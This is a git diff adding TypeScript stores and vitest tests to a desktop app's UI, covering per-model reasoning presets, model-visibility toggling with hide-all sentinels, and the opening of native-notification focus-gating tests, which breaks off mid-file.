diff --git a/ui-desktop/src/store/model-presets.ts b/ui-desktop/src/store/model-presets.ts
new file mode 100644
index 000000000..da2cc6fba
--- /dev/null
+++ b/ui-desktop/src/store/model-presets.ts
@@ -0,0 +1,98 @@
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+
+import { notifyError } from './notifications'
+import { setCurrentFastMode, setCurrentReasoningEffort } from './session'
+import { sessionTileDelegate } from './session-states'
+
+const STORAGE_KEY = 'clawcodex.desktop.model-presets'
+
+/** Per-model reasoning/fast preset, remembered globally across sessions and
+ *  re-applied to the session whenever that model is selected. Unset dimensions
+ *  fall back to the ClawCodex default (medium effort, no fast). */
+export interface ModelPreset {
+  effort?: string
+  fast?: boolean
+}
+
+type RequestGateway = <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+
+/** Stable `provider::model` key (matches the visibility-store format). */
+export const modelPresetKey = (provider: string, model: string): string => `${provider}::${model}`
+
+function load(): Record<string, ModelPreset> {
+  const raw = storedString(STORAGE_KEY)
+
+  if (!raw) {
+    return {}
+  }
+
+  try {
+    const parsed = JSON.parse(raw)
+
+    return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? (parsed as Record<string, ModelPreset>) : {}
+  } catch {
+    return {}
+  }
+}
+
+export const $modelPresets = atom<Record<string, ModelPreset>>(load())
+
+export function getModelPreset(provider: string, model: string): ModelPreset {
+  return $modelPresets.get()[modelPresetKey(provider, model)] ?? {}
+}
+
+/** Merge a partial preset for one model and persist. */
+export function setModelPreset(provider: string, model: string, patch: ModelPreset): void {
+  const key = modelPresetKey(provider, model)
+  const next = { ...$modelPresets.get(), [key]: { ...$modelPresets.get()[key], ...patch } }
+
+  $modelPresets.set(next)
+  persistString(STORAGE_KEY, JSON.stringify(next))
+}
+
+/** Apply a model's preset to the composer, then push it to a live session.
+ *  `undefined` skips that dimension; values are capability-gated upstream.
+ *  Without a session the local draft still needs the preset, but must not call
+ *  `config.set`: that falls back to persistent profile config when no session
+ *  matches and would rewrite the user's defaults.
+ *
+ *  `primary: false` scopes the optimistic write to the tile's session slice —
+ *  a tile's picker must not clobber the primary composer's effort/fast. */
+export async function applyModelPreset(
+  { effort, fast }: ModelPreset,
+  ctx: { failMessage: string; primary?: boolean; request: RequestGateway; sessionId: null | string }
+): Promise<void> {
+  if (ctx.primary ?? true) {
+    if (effort !== undefined) {
+      setCurrentReasoningEffort(effort)
+    }
+
+    if (fast !== undefined) {
+      setCurrentFastMode(fast)
+    }
+  } else if (ctx.sessionId) {
+    sessionTileDelegate()?.updateSession(ctx.sessionId, state => ({
+      ...state,
+      ...(effort !== undefined ? { reasoningEffort: effort } : {}),
+      ...(fast !== undefined ? { fast } : {})
+    }))
+  }
+
+  if (!ctx.sessionId) {
+    return
+  }
+
+  try {
+    if (effort !== undefined) {
+      await ctx.request('config.set', { key: 'reasoning', session_id: ctx.sessionId, value: effort })
+    }
+
+    if (fast !== undefined) {
+      await ctx.request('config.set', { key: 'fast', session_id: ctx.sessionId, value: fast ? 'fast' : 'normal' })
+    }
+  } catch (err) {
+    notifyError(err, ctx.failMessage)
+  }
+}
diff --git a/ui-desktop/src/store/model-visibility.test.ts b/ui-desktop/src/store/model-visibility.test.ts
new file mode 100644
index 000000000..3e4493e48
--- /dev/null
+++ b/ui-desktop/src/store/model-visibility.test.ts
@@ -0,0 +1,329 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ModelOptionProvider } from '@/types/clawcodex'
+
+import {
+  collapseModelFamilies,
+  defaultVisibleKeys,
+  effectiveVisibleKeys,
+  emptyProviderSentinelKey,
+  isProviderSentinel,
+  modelVisibilityKey,
+  resolveVisibleKeys,
+  setProviderVisibility,
+  toggleModelVisibility
+} from './model-visibility'
+
+const provider = (slug: string, models: string[]): ModelOptionProvider => ({
+  models,
+  name: slug,
+  slug
+})
+
+describe('model visibility', () => {
+  it('keeps newly configured providers visible when stored choices are stale', () => {
+    const stored = new Set([modelVisibilityKey('copilot', 'claude-sonnet-4.6')])
+
+    const visible = effectiveVisibleKeys(stored, [
+      provider('copilot', ['claude-sonnet-4.6']),
+      provider('local-ollama', ['qwen3:latest', 'llama3.2:latest'])
+    ])
+
+    expect(visible.has(modelVisibilityKey('copilot', 'claude-sonnet-4.6'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('local-ollama', 'qwen3:latest'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('local-ollama', 'llama3.2:latest'))).toBe(true)
+  })
+
+  it('does not re-add models from a provider that already has stored choices', () => {
+    const stored = new Set([modelVisibilityKey('local-ollama', 'qwen3:latest')])
+
+    const visible = effectiveVisibleKeys(stored, [provider('local-ollama', ['qwen3:latest', 'llama3.2:latest'])])
+
+    expect(visible.has(modelVisibilityKey('local-ollama', 'qwen3:latest'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('local-ollama', 'llama3.2:latest'))).toBe(false)
+  })
+
+  it('preserves hidden-provider sentinel without re-adding defaults', () => {
+    // User explicitly hid all models for "nous" — sentinel marks this choice.
+    const stored = new Set([emptyProviderSentinelKey('nous')])
+
+    const visible = effectiveVisibleKeys(stored, [
+      provider('nous', ['clawcodex-3-llama-3.1-70b', 'clawcodex-3-llama-3.1-8b']),
+      provider('ollama', ['qwen3:latest'])
+    ])
+
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-3-llama-3.1-70b'))).toBe(false)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-3-llama-3.1-8b'))).toBe(false)
+    // Sentinel itself is stripped from the result.
+    expect(visible.has(emptyProviderSentinelKey('nous'))).toBe(false)
+    // Other providers still get defaults.
+    expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
+  })
+
+  it('restores model when toggling on after hiding all', () => {
+    // Simulates: user hid all "nous" models, then toggles one back on.
+    const stored = new Set([emptyProviderSentinelKey('nous'), modelVisibilityKey('ollama', 'qwen3:latest')])
+
+    // After toggle: sentinel removed, one model added.
+    const afterToggle = new Set(stored)
+    afterToggle.delete(emptyProviderSentinelKey('nous'))
+    afterToggle.add(modelVisibilityKey('nous', 'clawcodex-3-llama-3.1-70b'))
+
+    const visible = effectiveVisibleKeys(afterToggle, [
+      provider('nous', ['clawcodex-3-llama-3.1-70b', 'clawcodex-3-llama-3.1-8b']),
+      provider('ollama', ['qwen3:latest'])
+    ])
+
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-3-llama-3.1-70b'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-3-llama-3.1-8b'))).toBe(false)
+  })
+
+  it('folds a date-pinned snapshot into its rolling alias when present', () => {
+    const families = collapseModelFamilies(['claude-opus-4-5', 'claude-opus-4-5-20251101'])
+
+    expect(families.map(f => f.id)).toEqual(['claude-opus-4-5'])
+  })
+
+  it('keeps a date-pinned snapshot standing alone when it has no alias', () => {
+    const families = collapseModelFamilies(['claude-opus-4-5-20251101', 'claude-haiku-4-5-20251001'])
+
+    expect(families.map(f => f.id)).toEqual(['claude-opus-4-5-20251101', 'claude-haiku-4-5-20251001'])
+  })
+
+  it('sentinel key helper produces correct format', () => {
+    expect(emptyProviderSentinelKey('openai')).toBe('openai::')
+    expect(isProviderSentinel('openai::')).toBe(true)
+    expect(isProviderSentinel('openai::gpt-4o')).toBe(false)
+  })
+
+  it('resolveVisibleKeys preserves sentinels that effectiveVisibleKeys strips', () => {
+    const stored = new Set([emptyProviderSentinelKey('nous')])
+    const providers = [provider('nous', ['clawcodex-x', 'clawcodex-y']), provider('ollama', ['qwen3:latest'])]
+
+    const resolved = resolveVisibleKeys(stored, providers)
+    expect(resolved.has(emptyProviderSentinelKey('nous'))).toBe(true)
+    expect(resolved.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(false)
+    // Un-customized providers still expand to their defaults.
+    expect(resolved.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
+
+    // Display variant drops the sentinel.
+    expect(effectiveVisibleKeys(stored, providers).has(emptyProviderSentinelKey('nous'))).toBe(false)
+  })
+})
+
+describe('toggleModelVisibility', () => {
+  const providers = [provider('openai', ['gpt-a', 'gpt-b']), provider('nous', ['clawcodex-x', 'clawcodex-y'])]
+
+  // Drive the handler the way the dialog does: feed each result back in as the
+  // next `stored`, so the persisted set is what the next toggle starts from.
+  const apply = (stored: Set<string> | null, slug: string, model: string) =>
+    toggleModelVisibility(stored, providers, slug, model)
+
+  it('records a hide-all sentinel when the last model of a provider is toggled off', () => {
+    let stored: Set<string> | null = null
+    stored = apply(stored, 'openai', 'gpt-a')
+    stored = apply(stored, 'openai', 'gpt-b')
+
+    expect(stored.has(emptyProviderSentinelKey('openai'))).toBe(true)
+    expect(effectiveVisibleKeys(stored, providers).has(modelVisibilityKey('openai', 'gpt-a'))).toBe(false)
+    expect(effectiveVisibleKeys(stored, providers).has(modelVisibilityKey('openai', 'gpt-b'))).toBe(false)
+  })
+
+  it('keeps a hidden provider hidden when a different provider is toggled (regression for #43485)', () => {
+    // Hide ALL of nous — its sentinel is now stored.
+    let stored: Set<string> | null = null
+    stored = apply(stored, 'nous', 'clawcodex-x')
+    stored = apply(stored, 'nous', 'clawcodex-y')
+    expect(stored.has(emptyProviderSentinelKey('nous'))).toBe(true)
+
+    // Toggle a model in another provider. nous must NOT snap back on.
+    stored = apply(stored, 'openai', 'gpt-a')
+
+    expect(stored.has(emptyProviderSentinelKey('nous'))).toBe(true)
+    const visible = effectiveVisibleKeys(stored, providers)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(false)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-y'))).toBe(false)
+  })
+
+  it('clears only the toggled provider sentinel when a model is re-enabled', () => {
+    let stored: Set<string> | null = new Set([emptyProviderSentinelKey('openai'), emptyProviderSentinelKey('nous')])
+
+    stored = apply(stored, 'openai', 'gpt-a')
+
+    expect(stored.has(emptyProviderSentinelKey('openai'))).toBe(false)
+    expect(stored.has(emptyProviderSentinelKey('nous'))).toBe(true)
+    const visible = effectiveVisibleKeys(stored, providers)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(false)
+  })
+
+  it('re-enabling one model of a hidden-all provider restores ONLY that model, not the curated defaults', () => {
+    // openai hidden-all, nous untouched.
+    let stored: Set<string> | null = new Set([emptyProviderSentinelKey('openai')])
+
+    stored = apply(stored, 'openai', 'gpt-a')
+
+    const visible = effectiveVisibleKeys(stored, providers)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+    // gpt-b is NOT restored — "you hid everything, you get back only what you re-enable".
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-b'))).toBe(false)
+  })
+
+  it('re-hiding the last re-enabled model re-adds the sentinel (full round-trip)', () => {
+    let stored: Set<string> | null = new Set([emptyProviderSentinelKey('openai')])
+
+    // Re-enable gpt-a (clears sentinel, set = {gpt-a}), then toggle it back off.
+    stored = apply(stored, 'openai', 'gpt-a')
+    expect(stored.has(emptyProviderSentinelKey('openai'))).toBe(false)
+    stored = apply(stored, 'openai', 'gpt-a')
+
+    expect(stored.has(emptyProviderSentinelKey('openai'))).toBe(true)
+    expect(effectiveVisibleKeys(stored, providers).has(modelVisibilityKey('openai', 'gpt-a'))).toBe(false)
+  })
+
+  it('toggling from an empty (non-null) stored set adds the model without expanding defaults', () => {
+    // Empty-but-not-null = "everything hidden". resolveVisibleKeys short-circuits to {}.
+    const stored = new Set<string>()
+
+    const next = apply(stored, 'openai', 'gpt-a')
+
+    expect(next.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+    // No curated defaults were expanded for any provider.
+    expect(next.has(modelVisibilityKey('openai', 'gpt-b'))).toBe(false)
+    expect(next.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(false)
+  })
+
+  it('toggling off one default model from null stored keeps the rest of the curated defaults', () => {
+    // null = "never customized": resolveVisibleKeys expands all defaults first.
+    const next = apply(null, 'openai', 'gpt-a')
+
+    expect(next.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(false)
+    expect(next.has(modelVisibilityKey('openai', 'gpt-b'))).toBe(true)
+    expect(next.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(true)
+    // Other models remain, so no sentinel.
+    expect(next.has(emptyProviderSentinelKey('openai'))).toBe(false)
+  })
+
+  it('tolerates a provider with zero models (defensive — dialog filters these out)', () => {
+    const ps = [provider('empty', []), provider('openai', ['gpt-a'])]
+    const next = toggleModelVisibility(new Set([modelVisibilityKey('openai', 'gpt-a')]), ps, 'empty', 'ghost')
+
+    // No crash; the phantom key is recorded but no defaults are invented.
+    expect([...next].some(k => k.startsWith('empty::') && !isProviderSentinel(k))).toBe(true)
+    expect(next.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+  })
+})
+
+describe('resolveVisibleKeys', () => {
+  const providers = [provider('openai', ['gpt-a', 'gpt-b']), provider('nous', ['clawcodex-x', 'clawcodex-y'])]
+
+  it('returns the curated defaults verbatim for null stored', () => {
+    expect(resolveVisibleKeys(null, providers)).toEqual(defaultVisibleKeys(providers))
+  })
+
+  it('returns an empty set for an empty (non-null) stored set', () => {
+    expect([...resolveVisibleKeys(new Set(), providers)]).toEqual([])
+  })
+})
+
+describe('featured defaults', () => {
+  const featuredProvider = (slug: string, models: string[], featured_models: string[]): ModelOptionProvider => ({
+    featured_models,
+    models,
+    name: slug,
+    slug
+  })
+
+  it('defaults to the featured shortlist when a provider publishes one', () => {
+    const nous = featuredProvider(
+      'nous',
+      ['anthropic/opus', 'anthropic/haiku', 'google/gemini', 'x-ai/grok'],
+      ['anthropic/opus', 'google/gemini', 'x-ai/grok']
+    )
+
+    const visible = defaultVisibleKeys([nous])
+
+    // Featured are visible; the non-featured model is hidden by default.
+    expect(visible.has(modelVisibilityKey('nous', 'anthropic/opus'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('nous', 'google/gemini'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('nous', 'x-ai/grok'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('nous', 'anthropic/haiku'))).toBe(false)
+  })
+
+  it('falls back to top-N when a provider ships no featured list', () => {
+    const plain = provider('ollama', ['qwen3:latest', 'llama3.2:latest'])
+
+    const visible = defaultVisibleKeys([plain])
+
+    // No featured_models → every model stays a default (top-N, N ≫ 2 here).
+    expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('ollama', 'llama3.2:latest'))).toBe(true)
+  })
+
+  it('ignores an empty featured list and falls back to top-N', () => {
+    const plain = featuredProvider('ollama', ['qwen3:latest', 'llama3.2:latest'], [])
+
+    const visible = defaultVisibleKeys([plain])
+
+    expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('ollama', 'llama3.2:latest'))).toBe(true)
+  })
+})
+
+describe('setProviderVisibility', () => {
+  const providers = [provider('openai', ['gpt-a', 'gpt-b']), provider('nous', ['clawcodex-x', 'clawcodex-y'])]
+
+  it('enabling a provider makes every one of its models visible', () => {
+    // Start from a hidden-all openai; flip it on.
+    const stored = new Set([emptyProviderSentinelKey('openai')])
+
+    const next = setProviderVisibility(stored, providers, 'openai', true)
+
+    const visible = effectiveVisibleKeys(next, providers)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-b'))).toBe(true)
+    // Sentinel is cleared.
+    expect(next.has(emptyProviderSentinelKey('openai'))).toBe(false)
+  })
+
+  it('disabling a provider hides all its models and records the sentinel', () => {
+    const next = setProviderVisibility(null, providers, 'openai', false)
+
+    expect(next.has(emptyProviderSentinelKey('openai'))).toBe(true)
+    const visible = effectiveVisibleKeys(next, providers)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(false)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-b'))).toBe(false)
+  })
+
+  it('leaves other providers untouched (their sentinels survive)', () => {
+    const stored = new Set([emptyProviderSentinelKey('nous')])
+
+    // Turn openai fully on; nous must stay hidden.
+    const next = setProviderVisibility(stored, providers, 'openai', true)
+
+    expect(next.has(emptyProviderSentinelKey('nous'))).toBe(true)
+    const visible = effectiveVisibleKeys(next, providers)
+    expect(visible.has(modelVisibilityKey('nous', 'clawcodex-x'))).toBe(false)
+    expect(visible.has(modelVisibilityKey('openai', 'gpt-a'))).toBe(true)
+  })
+
+  it('round-trips: enable then disable returns to a clean hidden-all', () => {
+    const enabled = setProviderVisibility(null, providers, 'openai', true)
+    const disabled = setProviderVisibility(enabled, providers, 'openai', false)
+
+    expect(disabled.has(emptyProviderSentinelKey('openai'))).toBe(true)
+    // No stray real keys left for the provider.
+    expect([...disabled].some(k => k.startsWith('openai::') && !isProviderSentinel(k))).toBe(false)
+  })
+
+  it('collapses model families to one key per family when enabling', () => {
+    // A base + its -fast sibling collapse to a single family row/key.
+    const ps = [provider('nous', ['model', 'model-fast'])]
+
+    const next = setProviderVisibility(null, ps, 'nous', true)
+
+    expect(next.has(modelVisibilityKey('nous', 'model'))).toBe(true)
+    // The -fast sibling is represented by its base family, not its own key.
+    expect(next.has(modelVisibilityKey('nous', 'model-fast'))).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/store/model-visibility.ts b/ui-desktop/src/store/model-visibility.ts
new file mode 100644
index 000000000..3dcc25c31
--- /dev/null
+++ b/ui-desktop/src/store/model-visibility.ts
@@ -0,0 +1,262 @@
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+import type { ModelOptionProvider } from '@/types/clawcodex'
+
+const STORAGE_KEY = 'clawcodex.desktop.visible-models'
+
+/** Models shown per provider in the status-bar dropdown before the user has
+ *  customized the list. Backend `models` are already relevance-ordered. */
+export const DEFAULT_VISIBLE_PER_PROVIDER = 50
+
+/** Stable key for a provider/model pair (`::` avoids colliding with model ids
+ *  that contain a single colon, e.g. `model:tag`). */
+export const modelVisibilityKey = (provider: string, model: string): string => `${provider}::${model}`
+
+/** Sentinel key suffix stored when the user explicitly hides ALL models for a
+ *  provider.  Distinguishes "user hid everything" from "never customized" so
+ *  `effectiveVisibleKeys` does not re-add defaults for that provider. */
+export const EMPTY_PROVIDER_SENTINEL = ''
+
+/** Build the sentinel key for a provider whose last model was toggled off. */
+export const emptyProviderSentinelKey = (provider: string): string =>
+  modelVisibilityKey(provider, EMPTY_PROVIDER_SENTINEL)
+
+/** Check whether a stored key is a provider-hidden sentinel. */
+export const isProviderSentinel = (key: string): boolean => key.endsWith('::')
+
+/** A model and its optional `…-fast` sibling, collapsed into one logical row.
+ *  `id` is the canonical (base) model; `fastId` is the fast variant if present. */
+export interface ModelFamily {
+  fastId: string | null
+  id: string
+}
+
+/** Collapse a provider's model list so a base model and its `…-fast` variant
+ *  become a single family (one row, one toggle). Order is preserved by the
+ *  base model's position. A `…-fast` model with no base stands on its own. */
+export function collapseModelFamilies(models: readonly string[]): ModelFamily[] {
+  const present = new Set(models)
+  const families: ModelFamily[] = []
+  const consumed = new Set<string>()
+
+  for (const model of models) {
+    if (consumed.has(model)) {
+      continue
+    }
+
+    if (/-fast$/i.test(model) && present.has(model.replace(/-fast$/i, ''))) {
+      // Represented by its base entry — the base attaches it as `fastId`.
+      continue
+    }
+
+    if (/-\d{8}$/.test(model) && present.has(model.replace(/-\d{8}$/, ''))) {
+      // A date-pinned snapshot superseded by its rolling alias — drop the dupe.
+      continue
+    }
+
+    const fastId = `${model}-fast`
+    const hasFast = present.has(fastId)
+    families.push({ fastId: hasFast ? fastId : null, id: model })
+    consumed.add(model)
+
+    if (hasFast) {
+      consumed.add(fastId)
+    }
+  }
+
+  return families
+}
+
+function loadVisible(): Set<string> | null {
+  const raw = storedString(STORAGE_KEY)
+
+  if (!raw) {
+    return null
+  }
+
+  try {
+    const parsed = JSON.parse(raw)
+
+    return Array.isArray(parsed) ? new Set(parsed.filter((x): x is string => typeof x === 'string')) : null
+  } catch {
+    return null
+  }
+}
+
+/** Explicit set of visible `provider::model` keys, or null when the user
+ *  hasn't customized — in which case the curated default applies. */
+export const $visibleModels = atom<Set<string> | null>(loadVisible())
+
+export const $modelVisibilityOpen = atom(false)
+
+export function setVisibleModels(keys: Set<string>): void {
+  $visibleModels.set(new Set(keys))
+  persistString(STORAGE_KEY, JSON.stringify([...keys]))
+}
+
+export function setModelVisibilityOpen(open: boolean): void {
+  $modelVisibilityOpen.set(open)
+}
+
+/** The default-visible key set: the curated top-N per provider. Used both as
+ *  the dropdown fallback and to seed the Edit Models dialog. */
+export function defaultVisibleKeys(providers: readonly ModelOptionProvider[]): Set<string> {
+  const keys = new Set<string>()
+
+  for (const provider of providers) {
+    expandProviderDefaults(provider, keys)
+  }
+
+  return keys
+}
+
+/** Add a provider's curated default model keys to `target`. Prefers the
+ *  backend's `featured_models` shortlist (one flagship per lab) for aggregator
+ *  providers that would otherwise flood the default view with dozens of models;
+ *  falls back to the top-N collapsed families when a provider ships no featured
+ *  list. Shared by `defaultVisibleKeys` and `resolveVisibleKeys` so the
+ *  expansion rule lives in exactly one place. */
+function expandProviderDefaults(provider: ModelOptionProvider, target: Set<string>): void {
+  const families = collapseModelFamilies(provider.models ?? [])
+
+  const featured = provider.featured_models ?? []
+
+  const defaults = featured.length
+    ? families.filter(family => featured.includes(family.id))
+    : families.slice(0, DEFAULT_VISIBLE_PER_PROVIDER)
+
+  for (const family of defaults) {
+    target.add(modelVisibilityKey(provider.slug, family.id))
+  }
+}
+
+/** Resolve the canonical working set: the user's stored keys plus the curated
+ *  default expansion for any provider they haven't customized. Hide-all
+ *  sentinels are PRESERVED here — this is the set the toggle handler mutates and
+ *  persists, so dropping a sentinel would silently re-enable a provider the user
+ *  emptied. Use `effectiveVisibleKeys` for display (sentinels stripped). */
+export function resolveVisibleKeys(stored: Set<string> | null, providers: readonly ModelOptionProvider[]): Set<string> {
+  if (!stored) {
+    return defaultVisibleKeys(providers)
+  }
+
+  if (stored.size === 0) {
+    return new Set()
+  }
+
+  const next = new Set(stored)
+
+  for (const provider of providers) {
+    const providerPrefix = `${provider.slug}::`
+
+    const hasStoredProvider = [...stored].some(key => key.startsWith(providerPrefix) && !isProviderSentinel(key))
+
+    const hasSentinel = stored.has(emptyProviderSentinelKey(provider.slug))
+
+    if (hasStoredProvider || hasSentinel) {
+      continue
+    }
+
+    expandProviderDefaults(provider, next)
+  }
+
+  return next
+}
+
+/** Resolve which keys are currently visible for DISPLAY: the resolved working
+ *  set with bookkeeping sentinels stripped (they are not real models). */
+export function effectiveVisibleKeys(
+  stored: Set<string> | null,
+  providers: readonly ModelOptionProvider[]
+): Set<string> {
+  const next = resolveVisibleKeys(stored, providers)
+
+  // Strip sentinel keys — they are bookkeeping, not real visibility entries.
+  for (const key of [...next]) {
+    if (isProviderSentinel(key)) {
+      next.delete(key)
+    }
+  }
+
+  return next
+}
+
+/** Compute the next persisted visibility set when one model row is toggled.
+ *  Seeds from `resolveVisibleKeys` (NOT `effectiveVisibleKeys`) so other
+ *  providers' hide-all sentinels survive the persist. When the last visible
+ *  model of a provider is toggled off, a sentinel records the explicit
+ *  hide-all; re-enabling a model clears THAT provider's sentinel (only). */
+export function toggleModelVisibility(
+  stored: Set<string> | null,
+  providers: readonly ModelOptionProvider[],
+  providerSlug: string,
+  model: string
+): Set<string> {
+  // `resolveVisibleKeys` always returns a fresh Set, so we can mutate it directly.
+  const next = resolveVisibleKeys(stored, providers)
+  const key = modelVisibilityKey(providerSlug, model)
+  const sentinel = emptyProviderSentinelKey(providerSlug)
+
+  if (next.has(key)) {
+    next.delete(key)
+
+    // Check if this was the last real model for this provider.
+    const remainingForProvider = [...next].some(k => k.startsWith(`${providerSlug}::`) && !isProviderSentinel(k))
+
+    if (!remainingForProvider) {
+      next.add(sentinel)
+    }
+  } else {
+    // Re-enabling promotes a previously hidden-all provider to an explicit
+    // set of exactly the one re-enabled model — the curated defaults are NOT
+    // restored. Intentional: "you hid everything, you get back only what you
+    // re-enable." (Locked in by the sentinel-clear-on-re-enable test.)
+    next.delete(sentinel)
+    next.add(key)
+  }
+
+  return next
+}
+
+/** Compute the next persisted visibility set when a provider's master switch is
+ *  flipped. `visible=true` enables every one of the provider's collapsed model
+ *  families (and clears its hide-all sentinel); `visible=false` removes them all
+ *  and records the sentinel so the defaults are not silently re-expanded.
+ *  Seeds from `resolveVisibleKeys` so other providers' state (including their
+ *  sentinels) survives the persist, mirroring `toggleModelVisibility`. */
+export function setProviderVisibility(
+  stored: Set<string> | null,
+  providers: readonly ModelOptionProvider[],
+  providerSlug: string,
+  visible: boolean
+): Set<string> {
+  const next = resolveVisibleKeys(stored, providers)
+  const sentinel = emptyProviderSentinelKey(providerSlug)
+  const provider = providers.find(p => p.slug === providerSlug)
+  const families = collapseModelFamilies(provider?.models ?? [])
+
+  // Drop every existing entry for this provider (real keys + sentinel); we
+  // rebuild its state from scratch below.
+  for (const key of [...next]) {
+    if (key.startsWith(`${providerSlug}::`)) {
+      next.delete(key)
+    }
+  }
+
+  if (visible) {
+    for (const family of families) {
+      next.add(modelVisibilityKey(providerSlug, family.id))
+    }
+
+    // A provider with zero models can't be "all on" — leave it empty rather
+    // than stranding a sentinel that reads as an explicit hide-all.
+    if (families.length === 0) {
+      next.delete(sentinel)
+    }
+  } else {
+    next.add(sentinel)
+  }
+
+  return next
+}
diff --git a/ui-desktop/src/store/native-notifications.test.ts b/ui-desktop/src/store/native-notifications.test.ts
new file mode 100644
index 000000000..25b104aca
--- /dev/null
+++ b/ui-desktop/src/store/native-notifications.test.ts
@@ -0,0 +1,265 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $gateway } from './gateway'
+import {
+  dispatchNativeNotification,
+  dispatchPluginNativeNotification,
+  NATIVE_NOTIFICATION_KINDS,
+  respondToApprovalAction,
+  sendTestNativeNotification,
+  setNativeNotifyEnabled,
+  setNativeNotifyKind
+} from './native-notifications'
+import { __resetNativeNotifyBaselineForTests, markNativeNotifyBaseline } from './notify-baseline'
+import { $approvalRequest, setApprovalRequest } from './prompts'
+import { $activeSessionId, setActiveSessionId } from './session'
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const initialClawCodexDesktop = desktopWindow.clawcodexDesktop
+
+const notify = vi.fn().mockResolvedValue(true)
+
+function setWindowState({ focused = true, hidden = false }: { focused?: boolean; hidden?: boolean }) {
+  Object.defineProperty(document, 'hidden', { configurable: true, value: hidden })
+  Object.defineProperty(document, 'hasFocus', { configurable: true, value: () => focused })
+}
+
+let counter = 0
+
+// Unique session id per call dodges the per-(kind,session) throttle so each
+// assertion starts clean.
+function freshSession(): string {
+  counter += 1
+
+  return `session-${counter}`
+}
+
+beforeEach(() => {
+  notify.mockClear()
+  desktopWindow.clawcodexDesktop = { notify } as unknown as Window['clawcodexDesktop']
+  setNativeNotifyEnabled(true)
+
+  for (const kind of NATIVE_NOTIFICATION_KINDS) {
+    setNativeNotifyKind(kind, true)
+  }
+
+  setActiveSessionId(null)
+  setWindowState({ focused: false, hidden: true })
+  __resetNativeNotifyBaselineForTests()
+})
+
+afterEach(() => {
+  if (initialClawCodexDesktop) {
+    desktopWindow.clawcodexDesktop = initialClawCodexDesktop
+  } else {
+    delete desktopWindow.clawcodexDesktop
+  }
+})
+
+describe('dispatchNativeNotification focus gating', () => {
+  it('fires a completion notification for the active session when the window is hidden', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+
+  it('fires a completion notification when the window is visible but unfocused (alt-tab)', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    setWindowState({ focused: false, hidden: false })
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+
+  it('suppresses a completion notification when the window is focused', () => {
+    const sessionId = freshSession()
+    setActiveSessionId(sessionId)
+    setWindowState({ focused: true, hidden: false })
+    dispatchNativeNotification({ kind: 'turnDone', sessionId, title: 'done' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('suppresses a completion notification for a non-active background session (no gateway spam)', () => {
+    setActiveSessionId('on-screen')
+    dispatchNativeNotification({ kind: 'turnDone', sessionId: 'busy-bot-session', title: 'done' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('fires an attention notification for an off-screen session even when focused', () => {
+    setWindowState({ focused: true, hidden: false })
+    setActiveSessionId('on-screen')
+    dispatchNativeNotification({ kind: 'approval', sessionId: 'background', title: 'approve' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+
+  it('suppresses an attention notification for the active session when focused', () => {
+    setWindowState({ focused: true, hidden: false })
+    setActiveSessionId('on-screen')
+    dispatchNativeNotification({ kind: 'approval', sessionId: 'on-screen', title: 'approve' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+
+  it('fires a global completion notification while away with no active session (pet gen)', () => {
+    setActiveSessionId(null)
+    dispatchNativeNotification({ global: true, kind: 'backgroundDone', title: 'Your pet hatched' })
+    expect(notify).toHaveBeenCalledTimes(1)
+  })
+
+  it('suppresses a global notification when the window is focused', () => {
+    setWindowState({ focused: true, hidden: false })
+    setActiveSessionId(null)
+    dispatchNativeNotification({ global: true, kind: 'backgroundDone', title: 'Your pet hatched' })
+    expect(notify).not.toHaveBeenCalled()
+  })
+})
+
+describe('dispatchNativeNotification preferences', () => {
+  it('suppresses everything when the master switch is off', () => {
